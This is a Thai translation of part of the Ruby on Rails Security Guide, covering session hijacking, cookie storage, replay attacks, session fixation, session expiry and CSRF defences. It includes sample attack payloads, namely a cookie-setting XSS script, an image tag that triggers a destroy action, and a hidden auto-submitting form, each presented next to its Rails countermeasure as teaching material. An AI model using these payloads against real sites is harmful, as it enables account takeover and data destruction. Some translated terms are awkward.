1 บทนำ
เฟรมเวิร์กแอปพลิเคชันเว็บถูกสร้างขึ้นเพื่อช่วยนักพัฒนาสร้างแอปพลิเคชันเว็บ บางส่วนยังช่วยให้คุณรักษาความปลอดภัยในแอปพลิเคชันเว็บได้ด้วย ในความเป็นจริงไม่มีเฟรมเวิร์กใดที่ปลอดภัยมากกว่าอีกเฟรมเวิร์กหนึ่ง: ถ้าคุณใช้ถูกต้องคุณจะสามารถสร้างแอปพลิเคชันที่มีความปลอดภัยได้ด้วยเฟรมเวิร์กหลายๆ อัน Ruby on Rails มีเมธอดช่วยเหลือที่ฉลาด เช่น ป้องกันการฉีด SQL ดังนั้นปัญหานี้เกือบไม่เป็นปัญหา
โดยทั่วไปไม่มีสิ่งที่เรียกว่าความปลอดภัยแบบเสียแล้วใช้ได้เลย ความปลอดภัยขึ้นอยู่กับผู้ใช้เฟรมเวิร์ก และบางครั้งอาจขึ้นอยู่กับวิธีการพัฒนา และขึ้นอยู่กับทุกชั้นของสภาพแวดล้อมแอปพลิเคชันเว็บ: การจัดเก็บข้อมูลด้านหลัง การเซิร์ฟเวอร์เว็บ และแอปพลิเคชันเว็บเอง (และบางครั้งอาจมีชั้นหรือแอปพลิเคชันอื่นๆ) กลุ่ม Gartner อ้างว่า 75% ของการโจมตีเกิดขึ้นที่ชั้นแอปพลิเคชันเว็บ และพบว่า "จากเว็บไซต์ที่ตรวจสอบ 300 แห่ง 97% อยู่ในสภาวะที่เปิดโอกาสให้ถูกโจมตี" สาเหตุที่เกิดการโจมตีได้เกิดจากแอปพลิเคชันเว็บที่ง่ายต่อการโจมตี เนื่องจากง่ายต่อการเข้าใจและปรับแต่ง แม้แต่บุคคลทั่วไปก็สามารถทำได้
อันตรายต่อแอปพลิเคชันเว็บรวมถึงการยึดบัญชีผู้ใช้, การหลีกเลี่ยงการควบคุมการเข้าถึง, การอ่านหรือแก้ไขข้อมูลที่เป็นความลับ, หรือการนำเสนอเนื้อหาที่เป็นการฉ้อโกง หรือผู้โจมตีอาจสามารถติดตั้งโปรแกรม Trojan horse หรือซอฟต์แวร์ส่งอีเมลที่ไม่ได้รับคำเชิญ เพื่อเป้าหมายในการเพิ่มความมั่งคั่งทางการเงิน หรือทำให้เกิดความเสียหายต่อชื่อเสียงของบริษัทโดยการแก้ไขทรัพยากรของบริษัท ในการป้องกันการโจมตี ลดผลกระทบและกำจัดจุดโจมตี ต้องเข้าใจวิธีการโจมตีอย่างถูกต้อง นั่นคือเป้าหมายของคู่มือนี้
ในการพัฒนาแอปพลิเคชันเว็บที่มีความปลอดภัย คุณต้องทำความเข้าใจทั้งในเรื่องของชั้นและศักยภาพของศัตรู ในการเข้ารับข้อมูลอัพเดต คุณสามารถสมัครรับจดหมายข่าวด้านความปลอดภัย อ่านบล็อกด้านความปลอดภัย และทำการอัพเดตและตรวจสอบความปลอดภัยเป็นเรื่องประจำ (ตรวจสอบบทเรียนเพิ่มเติมในบท Additional Resources) การทำเช่นนี้จะต้องทำด้วยวิธีการด้วยตนเองเพื่อค้นหาปัญหาความปลอดภัยที่ซับซ้อน
2 เซสชัน
บทนี้อธิบายเกี่ยวกับการโจมตีที่เกี่ยวข้องกับเซสชันและมาตรการด้านความปลอดภัยเพื่อป้องกันข้อมูลเซสชันของคุณ
2.1 เซสชันคืออะไร?
ข้อมูล: เซสชันช่วยให้แอปพลิเคชันสามารถรักษาสถานะของผู้ใช้ได้ในขณะที่ผู้ใช้มีการปฏิสัมพันธ์กับแอปพลิเคชัน ตัวอย่างเช่น เซสชันช่วยให้ผู้ใช้สามารถยืนยันตัวเพียงครั้งเดียวและยังคงเข้าสู่ระบบสำหรับคำขอในอนาคต
แอปพลิเคชันส่วนใหญ่ต้องการติดตามสถานะของผู้ใช้ที่มีการปฏิสัมพันธ์กับแอปพลิเคชัน สถานะเช่นนี้สามารถเก็บไว้ในเซสชันได้
Rails จะให้วัตถุเซสชันสำหรับผู้ใช้ที่เข้าถึงแอปพลิเคชัน หากผู้ใช้มีเซสชันที่ใช้งานอยู่แล้ว Rails จะใช้เซสชันที่มีอยู่ มิฉะนั้นจะสร้างเซสชันใหม่
ข้อมูลเพิ่มเติม: อ่านเพิ่มเติมเกี่ยวกับเซสชันและวิธีการใช้งานใน Action Controller Overview Guide.
2.2 การโจมตีการเอาเซสชัน
คำเตือน: การขโมยรหัสเซสชันของผู้ใช้ทำให้ผู้โจมตีสามารถใช้แอปพลิเคชันเว็บในนามของเหยื่อได้
แอปพลิเคชันเว็บหลายๆ แอปพลิเคชันมีระบบการยืนยันตัวตน: ผู้ใช้ให้ชื่อผู้ใช้และรหัสผ่าน แอปพลิเคชันเว็บตรวจสอบและเก็บรหัสผู้ใช้ที่สอดคล้องกับเซสชันแล้ว ตั้งแต่นี้เป็นต้นไป เซสชันจะถูกต้อง ในทุกคำขอแอปพลิเคชันจะโหลดผู้ใช้ที่ระบุด้วยรหัสผู้ใช้ในเซสชันโดยไม่ต้องยืนยันตัวตนใหม่ รหัสเซสชันในคุกกี้จะระบุเซสชัน ดังนั้นคุกกี้ทำหน้าที่เป็นการรับรองชั่วคราวสำหรับแอปพลิเคชันเว็บ ผู้ที่จับคุกกี้จากบุคคลอื่น อาจใช้แอปพลิเคชันเว็บนี้เป็นผู้ใช้ - ซึ่งอาจมีผลกระทบร้ายแรง นี่คือวิธีการโจมตีเซสชันและการป้องกัน:
ดักฟังคุกกี้ในเครือข่ายที่ไม่ปลอดภัย เครือข่าย LAN ไร้สายอาจเป็นตัวอย่างของเครือข่ายดังกล่าว ในเครือข่าย LAN ที่ไม่เข้ารหัสข้อมูล การฟังคุกกี้ของผู้ใช้ทั้งหมดจึงง่ายมาก สำหรับผู้สร้างแอปพลิเคชันเว็บนี้หมายความว่า ให้เชื่อมต่อที่ปลอดภัยผ่าน SSL ใน Rails 3.1 และรุ่นใหม่กว่านี้ สามารถทำได้โดยการบังคับให้เชื่อมต่อ SSL ในไฟล์การกำหนดค่าแอปพลิเคชันของคุณ:
config.force_ssl = true
ส่วนใหญ่ผู้คนไม่ล้างคุกกี้หลังจากใช้งานที่เครื่องสาธารณะ ดังนั้นหากผู้ใช้ล่าสุดไม่ออกจากแอปพลิเคชันเว็บ คุณจะสามารถใช้งานแอปพลิเคชันเป็นผู้ใช้นั้นได้ ให้ผู้ใช้มี ปุ่มออกจากระบบ ในแอปพลิเคชันเว็บ และ ทำให้เด่นชัด
การโจมตีแบบครอสไซต์สคริปต์ (XSS) มีเป้าหมายที่จะได้รับคุกกี้ของผู้ใช้ คุณจะอ่านเพิ่มเติมเกี่ยวกับ XSS ในภายหลัง
แทนที่จะขโมยคุกกี้ที่ไม่รู้จักผู้โจมตีจะแก้ไขตัวระบุเซสชันของผู้ใช้ (ในคุกกี้) ที่รู้จักกับตนเอง อ่านเพิ่มเติมเกี่ยวกับการตั้งค่าเซสชันแบบติดตามนี้ในภายหลัง วัตถุประสงค์หลักของผู้โจมตีส่วนใหญ่คือการหาเงิน ราคาใต้ดินสำหรับบัญชีเข้าสู่ระบบธนาคารที่ถูกขโมยอยู่ในช่วง 0.5%-10% ของยอดเงินในบัญชี, $0.5-$30 สำหรับหมายเลขบัตรเครดิต ($20-$60 พร้อมรายละเอียดทั้งหมด), $0.1-$1.5 สำหรับข้อมูลตัวตน (ชื่อ, เลขประจำตัวประชาชน, และวันเกิด), $20-$50 สำหรับบัญชีของร้านค้าปลีก, และ $6-$10 สำหรับบัญชีผู้ให้บริการบนคลาวด์ตามรายงานความเสี่ยงด้านความปลอดภัยของอินเทอร์เน็ตจาก Symantec Internet Security Threat Report (2017).
2.3 การเก็บรักษาเซสชัน
หมายเหตุ: Rails ใช้ ActionDispatch::Session::CookieStore
เป็นการเก็บรักษาเซสชันเริ่มต้น
เคล็ดลับ: เรียนรู้เพิ่มเติมเกี่ยวกับการเก็บรักษาเซสชันแบบอื่น ๆ ใน Action Controller Overview Guide.
Rails CookieStore
บันทึกเซสชันแฮชในคุกกี้ที่อยู่ที่ฝั่งไคลเอ็นต์
เซิร์ฟเวอร์ดึงเซสชันแฮชจากคุกกี้และ
ลดความจำเป็นต่อการใช้รหัสเซสชัน ซึ่งจะเพิ่มความเร็วของแอปพลิเคชัน แต่นี่เป็นตัวเลือกการเก็บรักษาที่เป็นเรื่องข้อพิพาทและ
คุณต้องคิดถึงผลกระทบทางด้านความปลอดภัยและข้อจำกัดในการเก็บรักษาดังนี้:
คุกกี้มีขีดจำกัดขนาด 4 kB เก็บคุกกี้เฉพาะข้อมูลที่เกี่ยวข้องกับเซสชันเท่านั้น
คุกกี้ถูกเก็บไว้ที่ฝั่งไคลเอ็นต์ ไคลเอ็นต์อาจเก็บรักษาเนื้อหาของคุกกี้ไว้แม้คุกกี้จะหมดอายุแล้ว ไคลเอ็นต์อาจคัดลอกคุกกี้ไปยังเครื่องอื่น ๆ เลี่ยงการเก็บข้อมูลที่เป็นความลับในคุกกี้
คุกกี้มีลักษณะเป็นชั่วคราว ซึ่งเซิร์ฟเวอร์สามารถกำหนดเวลาหมดอายุสำหรับคุกกี้ได้ แต่ไคลเอ็นต์อาจลบคุกกี้และเนื้อหาของคุกกี้ก่อนหมดเวลานั้น ให้เก็บข้อมูลที่มีลักษณะถาวรมากขึ้นที่ฝั่งเซิร์ฟเวอร์
คุกกี้เซสชั่นไม่สามารถยกเลิกตัวเองได้และอาจถูกใช้ใหม่โดยมีเจตนาที่ไม่ดี อาจเป็นไอเดียที่ดีที่จะให้แอปพลิเคชันของคุณยกเลิกคุกกี้เซสชั่นเก่าๆโดยใช้เวลาที่เก็บไว้
Rails จะเข้ารหัสคุกกี้โดยค่าเริ่มต้น ลูกค้าไม่สามารถอ่านหรือแก้ไขเนื้อหาของคุกกี้ได้โดยไม่ทำลายการเข้ารหัส หากคุณดูแลความลับของคุณอย่างเหมาะสม คุกกี้ของคุณจะถือว่าปลอดภัยโดยทั่วไป
CookieStore
ใช้
encrypted
cookie jar เพื่อให้สถานที่เก็บข้อมูลเซสชั่นที่ปลอดภัยและเข้ารหัส ดังนั้น การเก็บข้อมูลเซสชั่นที่ใช้คุกกี้นั้นจะให้ความคงสภาพและความลับในเนื้อหาของมัน คีย์การเข้ารหัสและคีย์การตรวจสอบที่ใช้สำหรับคุกกี้ที่ได้รับลายเซ็น ได้มาจากค่าการกำหนด secret_key_base
เคล็ดลับ: ความลับต้องยาวและสุ่ม ใช้ bin/rails secret
เพื่อรับความลับที่ไม่ซ้ำกัน
ข้อมูล: เรียนรู้เพิ่มเติมเกี่ยวกับ การจัดการข้อมูลประจำตัวในภายหลังในเอกสารนี้
นอกจากนี้ยังสำคัญที่จะใช้ค่าเกลือที่แตกต่างกันสำหรับคุกกี้ที่เข้ารหัสและลายเซ็น การใช้ค่าเกลือเดียวกันสำหรับค่าการกำหนดเกลือที่แตกต่างกันอาจทำให้ใช้คีย์ที่ได้รับลายเซ็นเดียวกันสำหรับคุณลักษณะความปลอดภัยที่แตกต่างกันซึ่งอาจทำให้ความแข็งแกร่งของคีย์ลดลง
ในแอปพลิเคชันทดสอบและพัฒนาจะได้รับ secret_key_base
ที่ได้มาจากชื่อแอป ส่วนสิ่งแวดล้อมอื่น ๆ ต้องใช้คีย์สุ่มที่อยู่ใน config/credentials.yml.enc
ที่แสดงไว้ที่สถานะถอดรหัส:
```yaml
secret_key_base: 492f...
คำเตือน: หากความลับของแอปพลิเคชันของคุณอาจได้รับการเปิดเผย คุณควรพิจารณาเปลี่ยนแปลงความลับเหล่านั้นอย่างเข้มงวด โปรดทราบว่าการเปลี่ยนแปลง `secret_key_base` จะทำให้เซสชันที่กำลังใช้งานอยู่หมดอายุและต้องการให้ผู้ใช้เข้าสู่ระบบอีกครั้ง นอกจากข้อมูลเซสชัน: คุกกี้ที่เข้ารหัสแล้ว คุกกี้ที่ลงชื่อ และไฟล์ Active Storage อาจได้รับผลกระทบเช่นกัน
### การหมุนเวียนการกำหนดค่าคุกกี้ที่เข้ารหัสและลงชื่อ
การหมุนเหมาะสำหรับการเปลี่ยนแปลงการกำหนดค่าคุกกี้และการให้คุกกี้เก่าไม่ใช่โมฆะทันที ผู้ใช้ของคุณจึงมีโอกาสเข้าชมเว็บไซต์ของคุณ อ่านคุกกี้ของพวกเขาด้วยการกำหนดค่าเก่าและเขียนใหม่ด้วยการเปลี่ยนแปลงใหม่ การหมุนเวียนจึงสามารถถูกนำออกได้เมื่อคุณรู้สึกพอดีว่าผู้ใช้ได้มีโอกาสในการอัปเกรดคุกกี้ของพวกเขา
คุณสามารถหมุนเวียนการใช้เข็มขัดและการย่อยที่ใช้สำหรับคุกกี้ที่เข้ารหัสและลงชื่อได้
ตัวอย่างเช่นหากต้องการเปลี่ยนการย่อยที่ใช้สำหรับคุกกี้ที่ลงชื่อจาก SHA1 เป็น SHA256 คุณจะต้องกำหนดค่าการกำหนดค่าใหม่ก่อน:
```ruby
Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"
จากนั้นเพิ่มการหมุนเวียนสำหรับการย่อยเก่า SHA1 เพื่อให้คุกกี้ที่มีอยู่อัปเกรดไปยังการย่อยใหม่ SHA256 อย่างราบรื่น
Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
cookies.rotate :signed, digest: "SHA1"
end
จากนั้นคุกกี้ที่ลงชื่อที่เขียนไว้จะถูกย่อยด้วย SHA256 คุกกี้เก่าที่เขียนด้วย SHA1 ยังสามารถอ่านได้ และหากเข้าถึงจะถูกเขียนใหม่ด้วยการย่อยใหม่เพื่อให้พวกเขาได้อัปเกรดและจะไม่เป็นโมฆะเมื่อคุณลบการหมุนเวียนออก เมื่อผู้ใช้ที่ใช้ SHA1 digested signed cookies ไม่ควรมีโอกาสที่จะมีการเขียนทับคุกกี้ของพวกเขาอีกต่อไป ให้ลบการหมุน
แม้ว่าคุณสามารถตั้งค่าการหมุนได้หลายรอบตามที่คุณต้องการ แต่มันไม่ได้เป็นสิ่งที่พบบ่อยที่จะมีการหมุนหลายรอบที่เกิดขึ้นในเวลาใดเวลาหนึ่ง
สำหรับรายละเอียดเพิ่มเติมเกี่ยวกับการหมุนคีย์ด้วยข้อความที่เข้ารหัสและลงลายมือเช่นเดียวกับตัวเลือกต่าง ๆ ที่วิธี rotate
ยอมรับ โปรดอ่านเอกสาร MessageEncryptor API และ MessageVerifier API
2.4 การโจมตี Replay สำหรับ CookieStore Sessions
เคล็ดลับ: ประเภทอื่นของการโจมตีที่คุณต้องระวังเมื่อใช้ CookieStore
คือการโจมตีแบบ replay attack
มันทำงานอย่างนี้:
- ผู้ใช้ได้รับเครดิต จำนวนเงินจะถูกเก็บไว้ในเซสชัน (ซึ่งเป็นไอเดียที่ไม่ดีอย่างใด แต่เราจะทำเช่นนี้เพื่อวัตถุประสงค์ในการสาธิต)
- ผู้ใช้ซื้อสินค้า
- ค่าเครดิตที่ปรับปรุงใหม่ถูกเก็บไว้ในเซสชัน
- ผู้ใช้เอาคุกกี้จากขั้นตอนแรก (ที่พวกเขาคัดลอกไว้ก่อนหน้านี้) และแทนที่คุกกี้ปัจจุบันในเบราว์เซอร์
- ผู้ใช้ได้รับเครดิตเดิมกลับมา
การรวม nonce (ค่าสุ่ม) ในเซสชันจะแก้ไขการโจมตี replay ได้ Nonce มีความถูกต้องเพียงครั้งเดียวและเซิร์ฟเวอร์ต้องเก็บรายการ nonce ที่ถูกต้องทั้งหมด มันยิ่งซับซ้อนขึ้นเมื่อคุณมีเซิร์ฟเวอร์แอปพลิเคชันหลายตัว การเก็บ nonce ในตารางฐานข้อมูลจะทำให้สูญเปล่าทั้งวัตถุประสงค์ของ CookieStore (เพื่อหลีกเลี่ยงการเข้าถึงฐานข้อมูล)
วิธีการที่ดีที่สุดในการป้องกันคือไม่ให้เก็บข้อมูลประเภทนี้ในเซสชัน แต่ให้เก็บในฐานข้อมูล ในกรณีนี้ให้เก็บเครดิตในฐานข้อมูลและ logged_in_user_id
ในเซสชัน
2.5 การแก้ไขเซสชัน
หมายเหตุ: นอกจากการขโมยเซสชัน ID ผู้โจมตียังสามารถแก้ไขเซสชัน ID ที่รู้จักได้ ซึ่งเรียกว่าการแก้ไขเซสชัน
การโจมตีนี้เน้นการแก้ไขเซสชัน ID ของผู้ใช้ที่ผู้โจมตีรู้จักและบังคับเบราว์เซอร์ของผู้ใช้ให้ใช้ ID นี้ ดังนั้นไม่จำเป็นต้องขโมยเซสชัน ID ต่อไป นี่คือวิธีการโจมตี:
- ผู้โจมตีสร้างเซสชัน ID ที่ถูกต้อง: เขาโหลดหน้าเข้าสู่ระบบของแอปพลิเคชันเว็บที่ต้องการแก้ไขเซสชันและเก็บเซสชัน ID ในคุกกี้จากการตอบสนอง (ดูตัวเลข 1 และ 2 ในภาพ)
- เขารักษาเซสชันโดยเข้าถึงแอปพลิเคชันเว็บเป็นระยะเพื่อให้เซสชันที่จะหมดอายุยังมีอยู่
- ผู้โจมตีบังคับเบราว์เซอร์ของผู้ใช้ให้ใช้เซสชัน ID นี้ (ดูตัวเลข 3 ในภาพ) เนื่องจากคุกกี้ของโดเมนอื่นไม่สามารถเปลี่ยนแปลงได้ (เนื่องจากนโยบายเดียวกันของต้นฉบับ) ผู้โจมตีต้องเรียกใช้สคริปต์จากโดเมนของแอปพลิเคชันเป้าหมาย เพิ่มรหัสสคริปต์ลงในแอปพลิเคชันด้วย XSS เพื่อทำการโจมตีนี้ ตัวอย่าง:
<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>
อ่านเพิ่มเติมเกี่ยวกับ XSS และการฉีดสารต่อไป - ผู้โจมตีดึงผู้เสียหายเข้าสู่หน้าที่ติดเชื้อด้วยรหัสสคริปต์ โดยการดูหน้าเพจ เบราว์เซอร์ของผู้เสียหายจะเปลี่ยนเซสชัน ID เป็นเซสชัน ID ของกับข้อกับดัก
- เนื่องจากเซสชันกับกับข้อกับดักใหม่ยังไม่ได้ใช้งาน แอปพลิเคชันเว็บจะต้องการผู้ใช้ยืนยันตัวตน
- ตั้งแต่นี้ไป เหยื่อและผู้โจมตีจะใช้แอปพลิเคชันเว็บเดียวกันกับเซสชันเดียวกัน: เซสชันกลายเป็นที่ถูกต้องและเหยื่อไม่สังเกตการโจมตี ### การป้องกันการฟิกเกอร์เซสชัน - มาตรการป้องกัน
เคล็ดลับ: หนึ่งบรรทัดของโค้ดจะปกป้องคุณจากการฟิกเกอร์เซสชัน
มาตรการป้องกันที่มีประสิทธิภาพที่สุดคือ การออกใบรับรองเซสชันใหม่ และประกาศใบรับรองเก่าว่าไม่ถูกต้องหลังจากเข้าสู่ระบบสำเร็จ ด้วยวิธีนี้ ผู้โจมตีจะไม่สามารถใช้ใบรับรองเซสชันที่ถูกฟิกเกอร์ได้ มาตรการนี้ยังเป็นมาตรการป้องกันที่ดีต่อการโจมตีด้วยการยึดเอาเซสชัน นี่คือวิธีการสร้างเซสชันใหม่ใน Rails:
reset_session
หากคุณใช้ gem ที่ได้รับความนิยม Devise สำหรับการจัดการผู้ใช้ มันจะหมดอายุใบรับรองเมื่อเข้าสู่ระบบและออกจากระบบโดยอัตโนมัติให้คุณ หากคุณสร้างของคุณเอง อย่าลืมที่จะหมดอายุใบรับรองหลังจากดำเนินการเข้าสู่ระบบ (เมื่อเซสชันถูกสร้าง) นี่จะลบค่าจากเซสชัน ดังนั้น คุณต้องย้ายค่าเหล่านั้นไปยังเซสชันใหม่
มาตรการป้องกันอีกอย่างหนึ่งคือ การบันทึกคุณสมบัติที่เฉพาะเจาะจงของผู้ใช้ในเซสชัน ตรวจสอบคุณสมบัติเหล่านี้ทุกครั้งที่มีคำขอเข้ามาและปฏิเสธการเข้าถึงหากข้อมูลไม่ตรงกัน คุณสมบัติเหล่านี้อาจเป็นที่อยู่ IP ระยะไกลหรือตัวแทนผู้ใช้ (ชื่อเว็บเบราว์เซอร์) แม้ว่าข้อมูลที่สองจะไม่เฉพาะเจาะจงต่อผู้ใช้มากนัก เมื่อบันทึกที่อยู่ IP คุณต้องระมัดระวังว่ามีผู้ให้บริการอินเทอร์เน็ตหรือองค์กรขนาดใหญ่ที่ให้ผู้ใช้ของพวกเขาอยู่หลังพร็อกซี่ พวกเขาอาจเปลี่ยนแปลงได้ในระหว่างเซสชัน ดังนั้นผู้ใช้เหล่านี้จะไม่สามารถใช้แอปพลิเคชันของคุณได้หรืออาจมีข้อจำกัดในการใช้งาน
2.6 การหมดอายุของเซสชัน
หมายเหตุ: เซสชันที่ไม่มีการหมดอายุจะเพิ่มเวลาในการโจมตี เช่น การโจมตีแบบ cross-site request forgery (CSRF), session hijacking, และ session fixation
วิธีหนึ่งคือการตั้งค่าเวลาหมดอายุของคุกกี้พร้อมกับ session ID อย่างไรก็ตาม ไคลเอนต์สามารถแก้ไขคุกกี้ที่เก็บไว้ในเว็บเบราว์เซอร์ได้ ดังนั้นการหมดอายุเซสชันที่เกิดขึ้นที่เซิร์ฟเวอร์จึงเป็นวิธีที่ปลอดภัยกว่า ตัวอย่างการ หมดอายุเซสชันในตารางฐานข้อมูล สามารถเรียกใช้ Session.sweep(20.minutes)
เพื่อหมดอายุเซสชันที่ใช้งานมานานกว่า 20 นาที
class Session < ApplicationRecord
def self.sweep(time = 1.hour)
where(updated_at: ...time.ago).delete_all
end
end
ส่วนเกี่ยวกับ session fixation ได้นำเสนอปัญหาของการรักษาเซสชัน ผู้โจมตีที่รักษาเซสชันทุก ๆ 5 นาทีสามารถทำให้เซสชันมีอายุไปตลอดกาล แม้ว่าคุณจะกำหนดเวลาหมดอายุให้กับเซสชัน วิธีง่าย ๆ สำหรับการแก้ไขปัญหานี้คือการเพิ่มคอลัมน์ created_at
ในตารางเซสชัน ดังนั้นคุณสามารถลบเซสชันที่สร้างขึ้นมานานแล้วได้ ใช้บรรทัดนี้ในเมธอด sweep ด้านบน:
where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all
3 การโจมตีแบบ Cross-Site Request Forgery (CSRF)
วิธีการโจมตีนี้ทำงานโดยการรวมรหัสที่เป็นอันตรายหรือลิงก์ในหน้าเว็บที่เข้าถึงแอปพลิเคชันเว็บที่ผู้ใช้ถูกเชื่อว่าได้รับการรับรองแล้ว หากเซสชันสำหรับแอปพลิเคชันเว็บนั้นยังไม่หมดอายุ ผู้โจมตีอาจดำเนินการคำสั่งที่ไม่ได้รับอนุญาต
ในบทเรียน บทเรียนเซสชั่น คุณได้เรียนรู้ว่าแอปพลิเคชัน Rails ส่วนใหญ่ใช้เซสชั่นที่ใช้คุกกี้เป็นพื้นฐาน โดยระบบจะเก็บรหัสเซสชั่นในคุกกี้และมีแฮชเซสชั่นที่ด้านเซิร์ฟเวอร์ หรือแฮชเซสชั่นทั้งหมดอยู่ที่ด้านไคลเอนต์ ในทั้งสองกรณี เบราว์เซอร์จะส่งคุกกี้พร้อมกับคำขอทุกครั้งที่เข้าถึงโดเมน หากพบคุกกี้สำหรับโดเมนนั้น จุดที่เป็นเรื่องขัดแย้งคือหากคำขอเกิดขึ้นจากเว็บไซต์ของโดเมนที่แตกต่างกัน มันก็จะส่งคุกกี้ไปด้วย มาเริ่มต้นด้วยตัวอย่าง:
- บ็อบเรียกดูกระดานข่าวและดูโพสต์จากแฮกเกอร์ที่มีองค์ประกอบภาพ HTML ที่ถูกสร้างขึ้น องค์ประกอบนี้อ้างอิงถึงคำสั่งในแอปพลิเคชันการจัดการโปรเจคของบ็อบ แทนที่จะเป็นไฟล์ภาพ:
<img src="http://www.webapp.com/project/1/destroy">
- เซสชั่นของบ็อบที่
www.webapp.com
ยังคงมีอยู่ เนื่องจากเขาไม่ได้ออกจากระบบไม่กี่นาทีที่ผ่านมา - โดยการดูโพสต์ เบราว์เซอร์พบแท็กภาพ มันพยายามโหลดภาพที่สงสัยจาก
www.webapp.com
ตามที่อธิบายไว้ก่อนหน้านี้ มันจะส่งคุกกี้พร้อมกับรหัสเซสชั่นที่ถูกต้อง - แอปพลิเคชันเว็บที่
www.webapp.com
ตรวจสอบข้อมูลผู้ใช้ในแฮชเซสชั่นที่เกี่ยวข้องและทำลายโปรเจคที่มี ID เป็น 1 จากนั้นจะส่งหน้าผลลัพธ์ที่ไม่คาดคิดกลับไปยังเบราว์เซอร์ ดังนั้นมันจะไม่แสดงภาพ - บ็อบไม่สังเกตเหตุการณ์ที่เกิดขึ้น - แต่ไม่กี่วันต่อมาเขาพบว่าโปรเจคหมายเลขหนึ่งหายไป สำคัญที่จะสังเกตว่ารูปภาพหรือลิงก์ที่สร้างขึ้นจริงๆไม่จำเป็นต้องอยู่ในโดเมนของแอปพลิเคชันเว็บ มันสามารถอยู่ที่ใดก็ได้ - ในฟอรั่ม โพสต์บล็อก หรืออีเมล
CSRF ปรากฏขึ้นนานาสักระยะใน CVE (Common Vulnerabilities and Exposures) - น้อยกว่า 0.1% ในปี 2006 - แต่มันเป็น 'ยักษ์ใหญ่ที่หลับ' จริงๆ [Grossman] นี้ตรงกันข้ามกับผลลัพธ์ในงานสัญญาความปลอดภัยหลายๆงาน - CSRF เป็นปัญหาความปลอดภัยที่สำคัญ
3.1 การป้องกัน CSRF
หมายเหตุ: ก่อนอื่นตามที่ W3C กำหนด ให้ใช้ GET และ POST อย่างเหมาะสม และในคำขอที่ไม่ใช่ GET ให้ใช้โทเค็นความปลอดภัยเพื่อป้องกัน CSRF
3.1.1 ใช้ GET และ POST อย่างเหมาะสม
โปรโตคอล HTTP ให้บริการสองประเภทหลัก - GET และ POST (DELETE, PUT, และ PATCH ควรใช้เหมือนกับ POST) สมาคมเว็บโลก (W3C) มีรายการตรวจสอบสำหรับการเลือกใช้ HTTP GET หรือ POST:
ใช้ GET ถ้า:
- การโต้ตอบเป็น คำถาม (เช่น การดำเนินการที่ปลอดภัยเช่นการสอบถาม การอ่าน หรือการค้นหา)
ใช้ POST ถ้า:
- การโต้ตอบเป็น คำสั่ง หรือ
- การโต้ตอบ เปลี่ยนสถานะ ของทรัพยากรในทางที่ผู้ใช้จะรับรู้ (เช่นการสมัครสมาชิกบริการ) หรือ
- ผู้ใช้ รับผิดชอบผลลัพธ์ ของการโต้ตอบ
หากแอปพลิเคชันเว็บของคุณเป็น RESTful คุณอาจใช้ HTTP verb เพิ่มเติม เช่น PATCH, PUT, หรือ DELETE บางเบราว์เซอร์เว็บที่เป็นเวอร์ชันเก่าอาจไม่รองรับ - เฉพาะ GET และ POST เท่านั้น Rails ใช้ฟิลด์
_method
ที่ซ่อนอยู่เพื่อจัดการกรณีเหล่านี้
การส่งคำขอ POST อัตโนมัติก็เป็นไปได้ ในตัวอย่างนี้ ลิงก์ www.harmless.com จะปรากฏเป็นปลายทางในแถบสถานะของเบราว์เซอร์ แต่จริงๆแล้วมันได้สร้างฟอร์มใหม่ที่สร้างคำขอ POST ขึ้นมาอย่างไดนามิก
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">ไปที่แบบสำรวจที่ไม่เสียหาย</a>
หรือผู้โจมตีจะวางโค้ดลงในตัวจัดการเหตุการณ์ onmouseover ของรูปภาพ:
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
ยังมีโอกาสอื่น ๆ เช่นใช้แท็ก <script>
เพื่อสร้างคำขอข้ามเว็บไปยัง URL ที่มีการตอบสนอง JSONP หรือ JavaScript การตอบสนองเป็นรหัสที่สามารถรันได้ที่ผู้โจมตีสามารถหาวิธีในการรันได้ โดยอาจสกัดข้อมูลที่เป็นข้อมูลที่สำคัญ เพื่อป้องกันการรั่วไหลข้อมูลเหล่านี้ เราต้องไม่อนุญาตให้มีแท็ก <script>
ข้ามเว็บ อย่างไรก็ตาม คำขอ Ajax ยึดตามนโยบายเดียวกับเบราว์เซอร์เกี่ยวกับเรื่องเดียวกัน (เฉพาะไซต์ของคุณเท่านั้นที่อนุญาตให้เริ่ม XmlHttpRequest
) เราสามารถอนุญาตให้คำขอ Ajax ส่งคำขอกลับเป็นการตอบสนอง JavaScript ได้อย่างปลอดภัย
หมายเหตุ: เราไม่สามารถแยกแยะต้นทางของแท็ก <script>
ได้ว่าเป็นแท็กในเว็บไซต์ของคุณเองหรือเป็นแท็กในเว็บไซต์ที่เป็นอันตรายอื่น ดังนั้นเราต้องบล็อกแท็ก <script>
ทั้งหมดไม่ว่าจะเป็นแท็กที่มาจากเว็บไซต์ของคุณเองที่เป็นแท็กที่มีต้นทางที่ปลอดภัย ในกรณีเช่นนี้ให้ข้ามการป้องกัน CSRF โดยชัดเจนในการกระทำที่ให้บริการสคริปต์สำหรับแท็ก <script>
3.1.2 โทเค็นความปลอดภัยที่จำเป็น
เพื่อป้องกันการขอข้อมูลที่ปลอมแปลงทั้งหมด เรานำเสนอ โทเค็นความปลอดภัยที่จำเป็น ซึ่งเว็บไซต์ของเรารู้แต่เว็บไซต์อื่นไม่รู้ โดยเรารวมโทเค็นความปลอดภัยในคำขอและตรวจสอบในเซิร์ฟเวอร์ นี้จะถูกดำเนินการโดยอัตโนมัติเมื่อ config.action_controller.default_protect_from_forgery
ถูกตั้งค่าเป็น true
ซึ่งเป็นค่าเริ่มต้นสำหรับแอปพลิเคชัน Rails ที่สร้างขึ้นใหม่ คุณยังสามารถทำได้ด้วยตนเองโดยเพิ่มโค้ดต่อไปนี้ในคอนโทรลเลอร์ของแอปพลิเคชันของคุณ:
protect_from_forgery with: :exception
นี้จะรวมโทเค็นความปลอดภัยในแบบฟอร์มทั้งหมดที่สร้างขึ้นโดย Rails หากโทเค็นความปลอดภัยไม่ตรงกับที่คาดหวัง จะเกิดข้อยกเว้น
